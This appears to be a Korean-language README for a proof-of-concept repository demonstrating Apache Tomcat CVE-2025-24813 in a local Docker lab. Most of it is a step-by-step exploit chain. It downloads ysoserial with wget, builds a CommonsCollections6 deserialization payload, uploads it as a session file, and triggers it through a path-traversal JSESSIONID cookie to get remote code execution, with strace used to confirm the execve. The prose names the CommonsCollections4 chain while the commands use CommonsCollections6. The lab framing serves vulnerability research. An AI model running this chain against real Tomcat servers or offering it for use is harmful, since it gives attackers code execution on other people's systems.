
Proof-of-concept demonstrating Apache Tomcat CVE-2025-24813, exploiting insecure DefaultServlet PUT and session deserialization to achieve remote code execution.
이 저장소는 CVE-2025-24813의 동작을 관찰하기 위해 구축된 간단한 애플리케이션을 포함합니다. 이는 Apache Tomcat의 최신 취약점으로, DefaultServlet에서 쓰기 활성화 (readonly=false) 시 **HTTP PUT을 통한 안전하지 않은 쓰기 작업(partial PUT / Content-Range 지원)**을 허용하여 세션 파일을 포함한 중요한 파일의 덮어쓰기를 가능하게 하며, 악의적인 역직렬화 발생 시 RCE 시나리오를 가능하게 합니다.
애플리케이션은 다음을 사용합니다:
| 구성 요소 | 기능 |
|---|
| Tomcat 9 + JDK 11 | 표적으로 사용되는 취약한 서버 |
context.xml | 세션을 디스크에 저장하는 PersistentManager + FileStore 활성화 |
upload.jsp | 데이터를 수신하여 디스크에 기록하는 간단한 엔드포인트 |
/tmp/app-data/ | 업로드가 저장될 디렉토리 |
초기 아이디어는 CVE 연구를 위해 구성된 환경에서 Tomcat이 파일을 처리하는 방식을 관찰하는 것입니다. 먼저 제어된 방식으로 파일을 기록하는 정상적인 요청(악용 시도 없음)을 보내고, 그 후 악성 파일을 전송합니다.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
다른 터미널에서 아래 명령어를 실행하세요.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
정상 동작을 관찰하기 위해 간단한 파일을 전송합니다.
문자열을 보내는 업로드
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
모든 것이 정상이면 strace를 실행 중인 터미널에 아무것도 나타나지 않아야 합니다.
참고: strace에 SIGSEGV 오류가 나타나면 무시하세요. 이는 JVM의 잡음입니다.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
여기서는 CommonsCollections4 체인을 사용하여 취약한 시나리오에서 touch /tmp/RCE 명령을 실행할 수 있는 객체를 생성합니다. 페이로드는 hack.session으로 저장됩니다.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
이전 명령이 오류를 발생시키는 경우, 최신 Java 버전(9+)과의 호환성을 보장하기 위해 --add-opens 플래그를 추가하여 강력한 캡슐화(JPMS)를 비활성화해야 합니다. 그렇지 않으면 ysoserial이 사용하는 리플렉션이 차단됩니다.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
이 명령 후 로컬에 바이너리 파일이 생성됩니다:
hack.session
.session 파일을 JSP 엔드포인트로 전송하면, 이 엔드포인트가 내용을 /tmp/app-data 디렉토리에 직접 기록합니다.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
예상 출력:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 이 시점에서는 어떤 명령도 실행되지 않습니다. 서버에서 파일이 기록되었을 뿐입니다.
이제 JSESSIONID=hack 쿠키를 보내 요청을 수행하여 Tomcat이 새로 생성된 세션을 로드하도록 강제합니다.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
strace 터미널에서 파일을 생성하는 execve 명령이 나타나야 합니다.
파일이 생성되었는지 확인하려면 컨테이너에 들어가서 확인할 수도 있습니다.
docker exec -it toy-cve ls -l /tmp/